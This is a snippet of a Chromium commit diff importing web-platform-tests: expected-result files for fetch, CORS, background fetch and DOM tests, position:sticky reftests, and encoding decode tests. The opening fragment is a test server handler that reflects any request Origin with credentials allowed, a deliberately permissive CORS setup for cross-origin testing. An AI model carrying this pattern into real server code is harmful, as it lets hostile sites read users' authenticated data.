+    response.headers.set("Content-Type", "text/plain")
+    response.headers.set("Access-Control-Allow-Credentials", "true")
+    response.headers.set("Access-Control-Allow-Origin", request.headers.get("origin"))
+
+    response.content = "PASS: Cross-domain access allowed."
diff --git a/third_party/WebKit/LayoutTests/external/wpt/background-fetch/interfaces.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/background-fetch/interfaces.worker-expected.txt
new file mode 100644
index 0000000..fd4ad38a
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/background-fetch/interfaces.worker-expected.txt
@@ -0,0 +1,45 @@
+This is a testharness.js-based test.
+Harness Error. harness_status.status = 1 , harness_status.message = Failed to execute 'abort' on 'BackgroundFetchRegistration': Illegal invocation
+PASS Exposed interfaces in a Service Worker. 
+FAIL ServiceWorkerRegistration interface: existence and properties of interface object assert_false: expected false got true
+PASS ServiceWorkerGlobalScope interface: existence and properties of interface object 
+PASS BackgroundFetchManager interface: existence and properties of interface object 
+PASS BackgroundFetchManager interface object length 
+PASS BackgroundFetchManager interface object name 
+PASS BackgroundFetchManager interface: existence and properties of interface prototype object 
+PASS BackgroundFetchManager interface: existence and properties of interface prototype object's "constructor" property 
+PASS BackgroundFetchManager interface: operation fetch(DOMString,[object Object],[object Object],BackgroundFetchOptions) 
+PASS BackgroundFetchManager interface: operation get(DOMString) 
+PASS BackgroundFetchManager interface: operation getTags() 
+PASS BackgroundFetchRegistration interface: existence and properties of interface object 
+PASS BackgroundFetchRegistration interface object length 
+PASS BackgroundFetchRegistration interface object name 
+PASS BackgroundFetchRegistration interface: existence and properties of interface prototype object 
+PASS BackgroundFetchRegistration interface: existence and properties of interface prototype object's "constructor" property 
+PASS BackgroundFetchRegistration interface: attribute tag 
+PASS BackgroundFetchRegistration interface: attribute icons 
+PASS BackgroundFetchRegistration interface: attribute totalDownloadSize 
+PASS BackgroundFetchRegistration interface: attribute title 
+FAIL BackgroundFetchRegistration interface: attribute fetches assert_true: The prototype object must have a property "fetches" expected true got false
+FAIL BackgroundFetchRegistration interface: operation abort() assert_throws: calling operation with this = null didn't throw TypeError function "function () {
+            fn.apply(obj, args);
+        }" did not throw
+FAIL BackgroundFetchFetches interface: existence and properties of interface object assert_own_property: self does not have own property "BackgroundFetchFetches" expected property "BackgroundFetchFetches" missing
+FAIL BackgroundFetchFetches interface object length assert_own_property: self does not have own property "BackgroundFetchFetches" expected property "BackgroundFetchFetches" missing
+FAIL BackgroundFetchFetches interface object name assert_own_property: self does not have own property "BackgroundFetchFetches" expected property "BackgroundFetchFetches" missing
+FAIL BackgroundFetchFetches interface: existence and properties of interface prototype object assert_own_property: self does not have own property "BackgroundFetchFetches" expected property "BackgroundFetchFetches" missing
+FAIL BackgroundFetchFetches interface: existence and properties of interface prototype object's "constructor" property assert_own_property: self does not have own property "BackgroundFetchFetches" expected property "BackgroundFetchFetches" missing
+FAIL BackgroundFetchFetches interface: attribute request assert_own_property: self does not have own property "BackgroundFetchFetches" expected property "BackgroundFetchFetches" missing
+FAIL BackgroundFetchActiveFetches interface: existence and properties of interface object assert_own_property: self does not have own property "BackgroundFetchActiveFetches" expected property "BackgroundFetchActiveFetches" missing
+FAIL BackgroundFetchActiveFetches interface object length assert_own_property: self does not have own property "BackgroundFetchActiveFetches" expected property "BackgroundFetchActiveFetches" missing
+FAIL BackgroundFetchActiveFetches interface object name assert_own_property: self does not have own property "BackgroundFetchActiveFetches" expected property "BackgroundFetchActiveFetches" missing
+FAIL BackgroundFetchActiveFetches interface: existence and properties of interface prototype object assert_own_property: self does not have own property "BackgroundFetchActiveFetches" expected property "BackgroundFetchActiveFetches" missing
+FAIL BackgroundFetchActiveFetches interface: existence and properties of interface prototype object's "constructor" property assert_own_property: self does not have own property "BackgroundFetchActiveFetches" expected property "BackgroundFetchActiveFetches" missing
+FAIL BackgroundFetchActiveFetches interface: attribute responseReady assert_own_property: self does not have own property "BackgroundFetchActiveFetches" expected property "BackgroundFetchActiveFetches" missing
+PASS BackgroundFetchEvent interface: existence and properties of interface object 
+PASS BackgroundFetchEndEvent interface: existence and properties of interface object 
+PASS BackgroundFetchSettledFetches interface: existence and properties of interface object 
+PASS BackgroundFetchFailEvent interface: existence and properties of interface object 
+PASS BackgroundFetchClickEvent interface: existence and properties of interface object 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-flexbox-ref.html b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-flexbox-ref.html
new file mode 100644
index 0000000..554ffa6
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-flexbox-ref.html
@@ -0,0 +1,63 @@
+<!DOCTYPE html>
+<title>Reference for position:sticky elements should work correctly with flexbox</title>
+
+<style>
+.scroller {
+  overflow: scroll;
+  width: 350px;
+  height: 100px;
+  margin-bottom: 15px;
+}
+
+.flex-container {
+  width: 600px;
+  position: relative;
+  display: flex;
+  flex-flow: row wrap;
+}
+
+.green {
+  background-color: green;
+}
+
+.flex-item {
+  height: 85px;
+  width: 100px;
+  display: flex;
+}
+</style>
+
+<script>
+window.addEventListener('load', function() {
+  document.getElementById('scroller1').scrollLeft = 50;
+  document.getElementById('scroller2').scrollLeft = 150;
+  document.getElementById('scroller3').scrollLeft = 250;
+});
+</script>
+
+<div id="scroller1" class="scroller">
+  <div class="flex-container">
+    <div class="flex-item"></div>
+    <div class="green flex-item"></div>
+    <div class="green flex-item"></div>
+  </div>
+</div>
+
+<div id="scroller2" class="scroller">
+  <div class="flex-container">
+    <div class="flex-item"></div>
+    <div class="flex-item"></div>
+    <div class="green flex-item"></div>
+  </div>
+</div>
+
+<div id="scroller3" class="scroller">
+  <div class="flex-container">
+    <div class="flex-item"></div>
+    <div class="flex-item"></div>
+    <div class="green flex-item"></div>
+    <div class="green flex-item"></div>
+  </div>
+</div>
+
+<p>You should see three green boxes of varying size above. There should be no red.</p>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-flexbox.html b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-flexbox.html
new file mode 100644
index 0000000..cf4e8cbc
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-flexbox.html
@@ -0,0 +1,80 @@
+<!DOCTYPE html>
+<title>position:sticky elements should work correctly with flexbox</title>
+<link rel="match" href="position-sticky-flexbox-ref.html" />
+<link rel="help" href="https://www.w3.org/TR/css-position-3/#sticky-pos" />
+<meta name="assert" content="This test checks that position:sticky elements interoperate correctly with flexbox" />
+
+<style>
+.scroller {
+  overflow: scroll;
+  width: 350px;
+  height: 100px;
+  margin-bottom: 15px;
+}
+
+.flex-container {
+  width: 600px;
+  position: relative;
+  display: flex;
+  flex-flow: row wrap;
+}
+
+.sticky {
+  position: sticky;
+  left: 50px;
+}
+
+.green {
+  background-color: green;
+}
+
+.flex-item {
+  width: 100px;
+  height: 85px;
+  display: flex;
+}
+
+.indicator {
+  position: absolute;
+  background-color: red;
+  width: 100px;
+  height: 85px;
+}
+</style>
+
+<script>
+window.addEventListener('load', function() {
+  document.getElementById('scroller1').scrollLeft = 50;
+  document.getElementById('scroller2').scrollLeft = 150;
+  document.getElementById('scroller3').scrollLeft = 250;
+});
+</script>
+
+<div id="scroller1" class="scroller">
+  <div class="flex-container">
+    <div class="indicator" style="left: 100px;"></div>
+    <div class="flex-item"></div>
+    <div class="sticky green flex-item"></div>
+    <div class="green flex-item"></div>
+  </div>
+</div>
+
+<div id="scroller2" class="scroller">
+  <div class="flex-container">
+    <div class="indicator" style="left: 200px;"></div>
+    <div class="flex-item"></div>
+    <div class="sticky green flex-item"></div>
+    <div class="green flex-item"></div>
+  </div>
+</div>
+
+<div id="scroller3" class="scroller">
+  <div class="flex-container">
+    <div class="indicator" style="left: 300px;"></div>
+    <div class="flex-item"></div>
+    <div class="sticky green flex-item"></div>
+    <div class="green flex-item"></div>
+  </div>
+</div>
+
+<p>You should see three green boxes of varying size above. There should be no red.</p>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-inflow-position-ref.html b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-inflow-position-ref.html
new file mode 100644
index 0000000..beebd7e
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-inflow-position-ref.html
@@ -0,0 +1,42 @@
+<!DOCTYPE html>
+<title>Reference for position:sticky elements should not affect the flow position of other elements</title>
+
+<style>
+.scroller {
+  height: 200px;
+  width: 100px;
+  overflow-y: scroll;
+  margin-bottom: 15px;
+}
+
+.sticky {
+  background-color: green;
+}
+
+.box {
+  height: 50px;
+  width: 50px;
+}
+
+.before {
+  background-color: fuchsia;
+}
+
+.after {
+  background-color: orange;
+}
+
+.padding {
+  height: 450px;
+}
+</style>
+
+<div class="scroller">
+  <div class="before box"></div>
+  <div class="box"></div>
+  <div class="after box"></div>
+  <div class="sticky box"></div>
+  <div class="padding"></div>
+</div>
+
+<div>You should see a fuchsia box, a one-box gap, an orange box, and then a green box above.</div>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-inflow-position.html b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-inflow-position.html
new file mode 100644
index 0000000..fc7e829
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-inflow-position.html
@@ -0,0 +1,46 @@
+<!DOCTYPE html>
+<title>position:sticky elements should not affect the flow position of other elements</title>
+<link rel="match" href="position-sticky-inflow-position-ref.html" />
+<link rel="help" href="https://www.w3.org/TR/css-position-3/#sticky-pos" />
+<meta name="assert" content="This test checks that position:sticky elements do not affect the flow position of other elements" />
+
+<style>
+.scroller {
+  height: 200px;
+  width: 100px;
+  overflow-y: scroll;
+  margin-bottom: 15px;
+}
+
+.sticky {
+  background-color: green;
+  position: sticky;
+  top: 150px;
+}
+
+.box {
+  height: 50px;
+  width: 50px;
+}
+
+.before {
+  background-color: fuchsia;
+}
+
+.after {
+  background-color: orange;
+}
+
+.padding {
+  height: 500px;
+}
+</style>
+
+<div class="scroller">
+  <div class="before box"></div>
+  <div class="sticky box"></div>
+  <div class="after box"></div>
+  <div class="padding"></div>
+</div>
+
+<div>You should see a fuchsia box, a one-box gap, an orange box, and then a green box above.</div>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-nested-inline-ref.html b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-nested-inline-ref.html
new file mode 100644
index 0000000..694a3cc
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-nested-inline-ref.html
@@ -0,0 +1,73 @@
+<!DOCTYPE html>
+<title>Reference for nested inline position:sticky elements should render correctly</title>
+
+<style>
+.group {
+  display: inline-block;
+  position: relative;
+  width: 150px;
+  height: 250px;
+}
+
+.scroller {
+  position: relative;
+  width: 100px;
+  height: 200px;
+  overflow-x: hidden;
+  overflow-y: auto;
+  font: 25px/1 Ahem;
+}
+
+.contents {
+  height: 500px;
+}
+
+.outerIndicator {
+  color: green;
+  position: absolute;
+  left: 0;
+}
+
+.innerIndicator {
+  color: blue;
+  position: absolute;
+  left: 25px;
+}
+</style>
+
+<script>
+window.addEventListener('load', function() {
+  document.getElementById('scroller1').scrollTop = 50;
+  document.getElementById('scroller2').scrollTop = 125;
+  document.getElementById('scroller3').scrollTop = 225;
+});
+</script>
+
+<div class="group">
+  <div id="scroller1" class="scroller">
+    <div class="contents">
+      <div class="outerIndicator" style="top: 150px;">X</div>
+      <div class="innerIndicator" style="top: 150px;">XX</div>
+    </div>
+  </div>
+</div>
+
+<div class="group">
+  <div id="scroller2" class="scroller">
+    <div class="contents">
+      <div class="outerIndicator" style="top: 175px;">X</div>
+      <div class="innerIndicator" style="top: 185px;">XX</div>
+    </div>
+  </div>
+</div>
+
+<div class="group">
+  <div id="scroller3" class="scroller">
+    <div class="contents">
+      <div class="outerIndicator" style="top: 275px;">X</div>
+      <div class="innerIndicator" style="top: 275px;">XX</div>
+    </div>
+  </div>
+</div>
+
+<div>You should see three green and three blue rectangles above. No red should be visible.</div>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-nested-inline.html b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-nested-inline.html
new file mode 100644
index 0000000..f44c0e6
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/css/css-position-3/position-sticky-nested-inline.html
@@ -0,0 +1,114 @@
+<!DOCTYPE html>
+<title>Nested inline position:sticky elements should render correctly</title>
+<link rel="match" href="position-sticky-nested-inline-ref.html" />
+<link rel="help" href="https://www.w3.org/TR/css-position-3/#sticky-pos" />
+<meta name="assert" content="This test checks that nested inline position:sticky elements render correctly" />
+
+<style>
+.group {
+  display: inline-block;
+  position: relative;
+  width: 150px;
+  height: 250px;
+}
+
+.scroller {
+  position: relative;
+  width: 100px;
+  height: 200px;
+  overflow-x: hidden;
+  overflow-y: auto;
+  font: 25px/1 Ahem;
+}
+
+.contents {
+  height: 500px;
+}
+
+.prepadding {
+  height: 100px;
+}
+
+.container {
+  height: 200px;
+}
+
+.innerpadding {
+  height: 50px;
+}
+
+.outerIndicator {
+  color: red;
+  position: absolute;
+  left: 0;
+}
+
+.innerIndicator {
+  color: red;
+  position: absolute;
+  left: 25px;
+}
+
+.outerSticky {
+  display: inline;
+  color: green;
+  position: sticky;
+  top: 50px;
+}
+
+.innerSticky {
+  display: inline;
+  color: blue;
+  position: sticky;
+  top: 60px;
+}
+</style>
+
+<script>
+window.addEventListener('load', function() {
+  document.getElementById('scroller1').scrollTop = 50;
+  document.getElementById('scroller2').scrollTop = 125;
+  document.getElementById('scroller3').scrollTop = 225;
+});
+</script>
+
+<div class="group">
+  <div id="scroller1" class="scroller">
+    <div class="outerIndicator" style="top: 150px;">X</div>
+    <div class="contents">
+      <div class="prepadding"></div>
+      <div class="container">
+        <div class="innerpadding"></div>
+        <div class="outerSticky">X<div class="innerIndicator" style="top: 0;">XX</div><div class="innerSticky">XX</div></div>
+      </div>
+    </div>
+  </div>
+</div>
+
+<div class="group">
+  <div id="scroller2" class="scroller">
+    <div class="outerIndicator" style="top: 175px;">X</div>
+    <div class="contents">
+      <div class="prepadding"></div>
+      <div class="container">
+        <div class="innerpadding"></div>
+        <div class="outerSticky">X<div class="innerIndicator" style="top: 10px;">XX</div><div class="innerSticky">XX</div></div>
+      </div>
+    </div>
+  </div>
+</div>
+
+<div class="group">
+  <div id="scroller3" class="scroller">
+    <div class="outerIndicator" style="top: 200px;">X</div>
+    <div class="contents">
+      <div class="prepadding"></div>
+      <div class="container">
+        <div class="innerpadding"></div>
+        <div class="outerSticky">X<div class="innerIndicator" style="top: 0;">XX</div><div class="innerSticky">XX</div></div>
+      </div>
+    </div>
+  </div>
+</div>
+
+<div>You should see three green and three blue rectangles above. No red should be visible.</div>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/dom/abort/event.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/dom/abort/event.any-expected.txt
new file mode 100644
index 0000000..05bf5dbf
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/dom/abort/event.any-expected.txt
@@ -0,0 +1,4 @@
+This is a testharness.js-based test.
+FAIL AbortController() basics AbortController is not defined
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/dom/abort/event.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/dom/abort/event.any.worker-expected.txt
new file mode 100644
index 0000000..05bf5dbf
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/dom/abort/event.any.worker-expected.txt
@@ -0,0 +1,4 @@
+This is a testharness.js-based test.
+FAIL AbortController() basics AbortController is not defined
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/dom/events/EventTarget-constructible.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/dom/events/EventTarget-constructible.any-expected.txt
new file mode 100644
index 0000000..a19cf28
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/dom/events/EventTarget-constructible.any-expected.txt
@@ -0,0 +1,5 @@
+This is a testharness.js-based test.
+FAIL A constructed EventTarget can be used as expected Illegal constructor
+FAIL EventTarget can be subclassed Illegal constructor
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/dom/events/EventTarget-constructible.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/dom/events/EventTarget-constructible.any.worker-expected.txt
new file mode 100644
index 0000000..a19cf28
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/dom/events/EventTarget-constructible.any.worker-expected.txt
@@ -0,0 +1,5 @@
+This is a testharness.js-based test.
+FAIL A constructed EventTarget can be used as expected Illegal constructor
+FAIL EventTarget can be subclassed Illegal constructor
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/editing/run/multitest-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/editing/run/multitest-expected.txt
index e5a1c3be..82f80aa 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/editing/run/multitest-expected.txt
+++ b/third_party/WebKit/LayoutTests/external/wpt/editing/run/multitest-expected.txt
@@ -8145,7 +8145,7 @@
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz": execCommand("delete", false, "") return value 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz": execCommand("inserttext", false, "a") return value 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz" checks for modifications to non-editable content 
-FAIL [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<b>a</b>baz" but got "foo<span style=\"font-weight:700\">a</span>baz"
+FAIL [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<b>a</b>baz" but got "foo<span style=\"font-weight:bold\">a</span>baz"
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz" queryCommandIndeterm("delete") before 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz" queryCommandState("delete") before 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar]</b>baz" queryCommandValue("delete") before 
@@ -8849,7 +8849,7 @@
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]": execCommand("delete", false, "") return value 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]": execCommand("inserttext", false, "a") return value 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]" checks for modifications to non-editable content 
-FAIL [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<b>a</b>" but got "foo<span style=\"font-weight:700\">a</span>"
+FAIL [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<b>a</b>" but got "foo<span style=\"font-weight:bold\">a</span>"
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]" queryCommandIndeterm("delete") before 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]" queryCommandState("delete") before 
 PASS [["delete",""],["inserttext","a"]] "foo<b>[bar</b>baz]" queryCommandValue("delete") before 
diff --git a/third_party/WebKit/LayoutTests/external/wpt/encoding/replacement-encodings.html b/third_party/WebKit/LayoutTests/external/wpt/encoding/replacement-encodings.html
new file mode 100644
index 0000000..4be3c85
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/encoding/replacement-encodings.html
@@ -0,0 +1,30 @@
+<!DOCTYPE html>
+<title>Encoding API: replacement encoding</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="resources/encodings.js"></script>
+<script src="resources/decoding-helpers.js"></script>
+<script>
+
+const replacement_labels = [];
+encodings_table.forEach(section => {
+  section.encodings
+         .filter(encoding => encoding.name === 'replacement')
+         .forEach(encoding => {
+           encoding.labels.forEach(label => { replacement_labels.push(label); })
+         });
+});
+
+replacement_labels.forEach(label => {
+  decode_test(
+    label,
+    '%41%42%43%61%62%63%31%32%33%A0',
+    'U+FFFD',
+    `${label} - non-empty input decodes to one replacement character.`);
+
+  decode_test(
+    label,
+    '',
+    '', `${label} - empty input decodes to empty output.`);
+});
+</script>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/encoding/resources/decoding-helpers.js b/third_party/WebKit/LayoutTests/external/wpt/encoding/resources/decoding-helpers.js
new file mode 100644
index 0000000..78e52da
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/encoding/resources/decoding-helpers.js
@@ -0,0 +1,32 @@
+// Decode an URL encoded string, using XHR and data: URL. Returns a Promise.
+function decode(label, url_encoded_string) {
+  return new Promise((resolve, reject) => {
+    const req = new XMLHttpRequest;
+    req.open('GET', `data:text/plain,${url_encoded_string}`);
+    req.overrideMimeType(`text/plain; charset="${label}"`);
+    req.send();
+    req.onload = () => resolve(req.responseText);
+    req.onerror = () => reject(new Error(req.statusText));
+  });
+}
+
+// Convert code units in a decoded string into: "U+0001/U+0002/...'
+function to_code_units(string) {
+  return string.split('')
+    .map(unit => unit.charCodeAt(0))
+    .map(code => 'U+' + ('0000' + code.toString(16).toUpperCase()).slice(-4))
+    .join('/');
+}
+
+function decode_test(label,
+                     url_encoded_input,
+                     expected_code_units,
+                     description) {
+  promise_test(() => {
+    return decode(label, url_encoded_input)
+      .then(decoded => to_code_units(decoded))
+      .then(actual => {
+        assert_equals(actual, expected_code_units, `Decoding with ${label}`);
+      });
+  }, description);
+}
diff --git a/third_party/WebKit/LayoutTests/external/wpt/encoding/unsupported-encodings.html b/third_party/WebKit/LayoutTests/external/wpt/encoding/unsupported-encodings.html
new file mode 100644
index 0000000..7584d3d1
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/encoding/unsupported-encodings.html
@@ -0,0 +1,37 @@
+<!DOCTYPE html>
+<title>Encoding API: unsupported encodings</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="resources/decoding-helpers.js"></script>
+<script>
+
+// Attempting to decode '<' as UTF-7 (+AD4) ends up as '+AD4'.
+['UTF-7', 'utf-7'].forEach(label => {
+  decode_test(label, '+AD4', 'U+002B/U+0041/U+0044/U+0034',
+              `${label} should not be supported`);
+});
+
+// UTF-32 will be detected as UTF-16LE if leading BOM, or windows-1252 otherwise.
+['UTF-32', 'utf-32', 'UTF-32LE', 'utf-32le'].forEach(label => {
+  decode_test(label,
+              '%FF%FE%00%00%41%00%00%00%42%00%00%00',
+              'U+0000/U+0041/U+0000/U+0042/U+0000',
+              `${label} with BOM should decode as UTF-16LE`);
+
+  decode_test(label,
+              '%41%00%00%00%42%00%00%00',
+              'U+0041/U+0000/U+0000/U+0000/U+0042/U+0000/U+0000/U+0000',
+              `${label} with no BOM should decode as windows-1252`);;
+});
+['UTF-32be', 'utf-32be'].forEach(label => {
+  decode_test(label,
+            '%00%00%00%41%00%00%00%42',
+            'U+0000/U+0000/U+0000/U+0041/U+0000/U+0000/U+0000/U+0042',
+            `${label} with no BOM should decode as windows-1252`);
+
+  decode_test(label,
+              '%00%00%FE%FF%00%00%00%41%00%00%00%42',
+              'U+0000/U+0000/U+00FE/U+00FF/U+0000/U+0000/U+0000/U+0041/U+0000/U+0000/U+0000/U+0042',
+              `${label} with BOM should decode as windows-1252`);
+});
+</script>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/request-upload.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/request-upload.any-expected.txt
new file mode 100644
index 0000000..81a389f86
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/request-upload.any-expected.txt
@@ -0,0 +1,20 @@
+This is a testharness.js-based test.
+PASS Fetch with PUT with body 
+PASS Fetch with POST with text body 
+PASS Fetch with POST with URLSearchParams body 
+PASS Fetch with POST with Blob body 
+PASS Fetch with POST with ArrayBuffer body 
+PASS Fetch with POST with Uint8Array body 
+PASS Fetch with POST with Int8Array body 
+PASS Fetch with POST with Float32Array body 
+PASS Fetch with POST with Float64Array body 
+PASS Fetch with POST with DataView body 
+PASS Fetch with POST with Blob body with mime type 
+FAIL Fetch with POST with ReadableStream assert_equals: expected "Test" but got ""
+FAIL Fetch with POST with ReadableStream containing String Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing null Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing number Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing ArrayBuffer Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing Blob Cannot read property 'then' of undefined
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/request-upload.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/request-upload.any.worker-expected.txt
new file mode 100644
index 0000000..81a389f86
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/request-upload.any.worker-expected.txt
@@ -0,0 +1,20 @@
+This is a testharness.js-based test.
+PASS Fetch with PUT with body 
+PASS Fetch with POST with text body 
+PASS Fetch with POST with URLSearchParams body 
+PASS Fetch with POST with Blob body 
+PASS Fetch with POST with ArrayBuffer body 
+PASS Fetch with POST with Uint8Array body 
+PASS Fetch with POST with Int8Array body 
+PASS Fetch with POST with Float32Array body 
+PASS Fetch with POST with Float64Array body 
+PASS Fetch with POST with DataView body 
+PASS Fetch with POST with Blob body with mime type 
+FAIL Fetch with POST with ReadableStream assert_equals: expected "Test" but got ""
+FAIL Fetch with POST with ReadableStream containing String Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing null Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing number Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing ArrayBuffer Cannot read property 'then' of undefined
+FAIL Fetch with POST with ReadableStream containing Blob Cannot read property 'then' of undefined
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/scheme-about.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/scheme-about.any-expected.txt
new file mode 100644
index 0000000..d2152d5
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/scheme-about.any-expected.txt
@@ -0,0 +1,9 @@
+This is a testharness.js-based test.
+FAIL Fetching about:blank (GET) is OK promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+FAIL Fetching about:blank (PUT) is OK promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+FAIL Fetching about:blank (POST) is OK promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+PASS Fetching about:invalid.com is KO 
+PASS Fetching about:config is KO 
+PASS Fetching about:unicorn is KO 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/scheme-about.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/scheme-about.any.worker-expected.txt
new file mode 100644
index 0000000..d2152d5
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/basic/scheme-about.any.worker-expected.txt
@@ -0,0 +1,9 @@
+This is a testharness.js-based test.
+FAIL Fetching about:blank (GET) is OK promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+FAIL Fetching about:blank (PUT) is OK promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+FAIL Fetching about:blank (POST) is OK promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+PASS Fetching about:invalid.com is KO 
+PASS Fetching about:config is KO 
+PASS Fetching about:unicorn is KO 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-redirect.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-redirect.any-expected.txt
new file mode 100644
index 0000000..8a42016
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-redirect.any-expected.txt
@@ -0,0 +1,13 @@
+This is a testharness.js-based test.
+FAIL Redirection 301 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 301 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 302 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 302 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 303 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 303 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 307 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 307 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 308 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 308 after preflight failed assert_not_equals: got disallowed value undefined
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-redirect.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-redirect.any.worker-expected.txt
new file mode 100644
index 0000000..8a42016
--- /dev/null
